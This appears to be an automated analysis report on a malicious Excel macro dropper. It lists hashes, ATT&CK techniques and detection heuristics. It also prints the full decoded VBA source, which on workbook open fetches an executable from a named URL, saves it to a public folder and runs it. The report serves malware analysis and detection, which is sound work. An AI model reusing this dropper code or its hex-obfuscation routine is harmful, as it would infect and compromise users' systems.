Office (OOXML) malware analysis — malicious · 6ca5e6c92a850be7

MALICIOUS

Office (OOXML)

117.6 KB First seen: 2020-09-07

MD5: 0f3765523ab305b154f292c7c9592d7e SHA-1: 5b0b8b477a981bbca49d12722c422b9b84ffaef8 SHA-256: 6ca5e6c92a850be7dda9e2e89b2554e64901a812ef068e726c64fb9cc53e5c49

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Office document containing obfuscated VBA macros. The Workbook_Open macro is designed to execute automatically, downloading a second-stage executable from the URL "http://plankgratifed.com/temp/venyrm.exe" and saving it to disk. This behavior is consistent with a macro-based dropper.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
jokoamaymvegfotbhgqtjinoaycoxmqvccxolwlagkkmmhbzcaxsudlaavncjlbzeiecqfqlupnzybctwcmxpybzqxnqjjqujkhe.write hdnqhjfktrafmhimzbaogwxkullnrprharbuijraxrpxnojpceckydklgcvvyssdasevfoeqkzrohzxgcwkmmgjwhqngovceylxv.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set hdnqhjfktrafmhimzbaogwxkullnrprharbuijraxrpxnojpceckydklgcvvyssdasevfoeqkzrohzxgcwkmmgjwhqngovceylxv = CreateObject(vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set hdnqhjfktrafmhimzbaogwxkullnrprharbuijraxrpxnojpceckydklgcvvyssdasevfoeqkzrohzxgcwkmmgjwhqngovceylxv = CreateObject(vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6617 bytes
SHA-256: `e03c50376c14a341b50ccac29b8590a88b8d39781a20f96fb1afffbae0a55767`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select lfwlbdvqiflzdltdhmsylwswhcycogxbicoxyahaljxujluefyhuysepnaeyesbchjqaxwegfrmbyxnwiuwpycdqyyjywjvtivmz"68 74 74 70 3A 2F 2F 70 6C 61 6E 63 6B 67 72 61 74 69 66 69 65 64 76 2E 63 6F 6D 2F 74 65 6D 70 2F 76 65 6E 79 72 6D 65 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub lfwlbdvqiflzdltdhmsylwswhcycogxbicoxyahaljxujluefyhuysepnaeyesbchjqaxwegfrmbyxnwiuwpycdqyyjywjvtivmz (vbaluqelnycwxtfyvrjtoodfuohemchuskurqnsablikxlqmeosetkugyuqgizzkrhemyohiyjrdgthjxvzykcbipotvwlrclysq As String) Dim hdnqhjfktrafmhimzbaogwxkullnrprharbuijraxrpxnojpceckydklgcvvyssdasevfoeqkzrohzxgcwkmmgjwhqngovceylxv Range("A6:J13").Select Dim jokoamaymvegfotbhgqtjinoaycoxmqvccxolwlagkkmmhbzcaxsudlaavncjlbzeiecqfqlupnzybctwcmxpybzqxnqjjqujkhe Range("A6:J13").Select Dim cyiwklxepmbyttfhzdjghfmtraclytqnuyrytpndawkevpwpdjvfaawxmpfjjmfvvneucgojqgfluhxcdmhpykntbtmdkdtoqoih Range("A6:J13").Select Set hdnqhjfktrafmhimzbaogwxkullnrprharbuijraxrpxnojpceckydklgcvvyssdasevfoeqkzrohzxgcwkmmgjwhqngovceylxv = CreateObject(vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set hdnqhjfktrafmhimzbaogwxkullnrprharbuijraxrpxnojpceckydklgcvvyssdasevfoeqkzrohzxgcwkmmgjwhqngovceylxv = CreateObject(vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set hdnqhjfktrafmhimzbaogwxkullnrprharbuijraxrpxnojpceckydklgcvvyssdasevfoeqkzrohzxgcwkmmgjwhqngovceylxv = CreateObject(vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set hdnqhjfktrafmhimzbaogwxkullnrprharbuijraxrpxnojpceckydklgcvvyssdasevfoeqkzrohzxgcwkmmgjwhqngovceylxv = CreateObject(vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set jokoamaymvegfotbhgqtjinoaycoxmqvccxolwlagkkmmhbzcaxsudlaavncjlbzeiecqfqlupnzybctwcmxpybzqxnqjjqujkhe = CreateObject(vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set cyiwklxepmbyttfhzdjghfmtraclytqnuyrytpndawkevpwpdjvfaawxmpfjjmfvvneucgojqgfluhxcdmhpykntbtmdkdtoqoih = CreateObject(vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) fqhrhsphygyyjxofsxfmyzguwoessrriuqmyqqweydiuzpcofswizrzgkmusnxpgoqdtkpobbaovrlvgmqmzujidqgodvdrbobgj = vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl(vbaluqelnycwxtfyvrjtoodfuohemchuskurqnsablikxlqmeosetkugyuqgizzkrhemyohiyjrdgthjxvzykcbipotvwlrclysq) lieqevhyceoyrngwkplehacdakfxjngqflvelwvzckamsqmhxuqzpbblfaptpjppxysgsbkotmcxaplkyyzoxhaejjylgcktulpt = vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 78 78 71 68 73 76 72 68 78 2e 65 78 65") ygovjbfdzelqpfvrjarqxowjdzircicoarlsjefvcxefyhvagsjttzwjkfrjtnaqbwpxtdifvwozjqkvehkjzjvbvcidmvcowoec = vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 78 78 71 68 73 76 72 68 78 2e 65 78 65") hdnqhjfktrafmhimzbaogwxkullnrprharbuijraxrpxnojpceckydklgcvvyssdasevfoeqkzrohzxgcwkmmgjwhqngovceylxv.Open chr(71) + chr(69) + chr(84), fqhrhsphygyyjxofsxfmyzguwoessrriuqmyqqweydiuzpcofswizrzgkmusnxpgoqdtkpobbaovrlvgmqmzujidqgodvdrbobgj, False hdnqhjfktrafmhimzbaogwxkullnrprharbuijraxrpxnojpceckydklgcvvyssdasevfoeqkzrohzxgcwkmmgjwhqngovceylxv.send jokoamaymvegfotbhgqtjinoaycoxmqvccxolwlagkkmmhbzcaxsudlaavncjlbzeiecqfqlupnzybctwcmxpybzqxnqjjqujkhe.Type = 1 jokoamaymvegfotbhgqtjinoaycoxmqvccxolwlagkkmmhbzcaxsudlaavncjlbzeiecqfqlupnzybctwcmxpybzqxnqjjqujkhe.Open jokoamaymvegfotbhgqtjinoaycoxmqvccxolwlagkkmmhbzcaxsudlaavncjlbzeiecqfqlupnzybctwcmxpybzqxnqjjqujkhe.write hdnqhjfktrafmhimzbaogwxkullnrprharbuijraxrpxnojpceckydklgcvvyssdasevfoeqkzrohzxgcwkmmgjwhqngovceylxv.responseBody jokoamaymvegfotbhgqtjinoaycoxmqvccxolwlagkkmmhbzcaxsudlaavncjlbzeiecqfqlupnzybctwcmxpybzqxnqjjqujkhe.savetofile lieqevhyceoyrngwkplehacdakfxjngqflvelwvzckamsqmhxuqzpbblfaptpjppxysgsbkotmcxaplkyyzoxhaejjylgcktulpt, 2 cyiwklxepmbyttfhzdjghfmtraclytqnuyrytpndawkevpwpdjvfaawxmpfjjmfvvneucgojqgfluhxcdmhpykntbtmdkdtoqoih.Run ygovjbfdzelqpfvrjarqxowjdzircicoarlsjefvcxefyhvagsjttzwjkfrjtnaqbwpxtdifvwozjqkvehkjzjvbvcidmvcowoec End Sub Public Function vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl(ByVal kbnwvlouulcercgxfqwlaktiukynmrugyqrbykumwsyqrhmiwwiarxhaieclnaicrwfbkfyvwjohldrmyqrpiuoairsthizvkwzv As String) As String Dim bkxrxndhjzofnpnwjsuwhfstmennksxpewlnszrvqgrjcngsvcmrbcnwrdfsapxqbzbrezekayfaniqyyvshggnbiowouzuajbid As String Dim monwybqdwmjingufxqjvlziqdppbeerlanmkhwiepkevenbnepdsrmrmfxsjmoyruxhzujxbiefbunlpncwobztnvzekdysalmbh As String Dim fbsvrbknhqrsldwksjqvdtevfnykmfphmekljbxapggfhmyaciibwfdlxxpddabbajghskaqmpgxnznspyhdwnlgayolltxofeex As Long For fbsvrbknhqrsldwksjqvdtevfnykmfphmekljbxapggfhmyaciibwfdlxxpddabbajghskaqmpgxnznspyhdwnlgayolltxofeex = 1 To Len(kbnwvlouulcercgxfqwlaktiukynmrugyqrbykumwsyqrhmiwwiarxhaieclnaicrwfbkfyvwjohldrmyqrpiuoairsthizvkwzv)Step 3 bkxrxndhjzofnpnwjsuwhfstmennksxpewlnszrvqgrjcngsvcmrbcnwrdfsapxqbzbrezekayfaniqyyvshggnbiowouzuajbid = Chr$(Val("&H" & Mid$(kbnwvlouulcercgxfqwlaktiukynmrugyqrbykumwsyqrhmiwwiarxhaieclnaicrwfbkfyvwjohldrmyqrpiuoairsthizvkwzv, fbsvrbknhqrsldwksjqvdtevfnykmfphmekljbxapggfhmyaciibwfdlxxpddabbajghskaqmpgxnznspyhdwnlgayolltxofeex, 2))) monwybqdwmjingufxqjvlziqdppbeerlanmkhwiepkevenbnepdsrmrmfxsjmoyruxhzujxbiefbunlpncwobztnvzekdysalmbh = monwybqdwmjingufxqjvlziqdppbeerlanmkhwiepkevenbnepdsrmrmfxsjmoyruxhzujxbiefbunlpncwobztnvzekdysalmbh & bkxrxndhjzofnpnwjsuwhfstmennksxpewlnszrvqgrjcngsvcmrbcnwrdfsapxqbzbrezekayfaniqyyvshggnbiowouzuajbid Next fbsvrbknhqrsldwksjqvdtevfnykmfphmekljbxapggfhmyaciibwfdlxxpddabbajghskaqmpgxnznspyhdwnlgayolltxofeex vtgjtbpggcrpnhqkvlefgacymgkwvttdlobonnwxnwkvhukosl = monwybqdwmjingufxqjvlziqdppbeerlanmkhwiepkevenbnepdsrmrmfxsjmoyruxhzujxbiefbunlpncwobztnvzekdysalmbh End Function Attribute VB_Name = "sxhdkeyxlwztvvflcrrsbocru" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `cbc815c8a614893cd55d92606a83460bcbe71a780d6a8a897fd7c17448d4be0b`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 139 of 227 identifiers look randomly generated (e.g. 'sxhdkeyxlwztvvflcrrsbocru') — consistent with name-mangling obfuscation.

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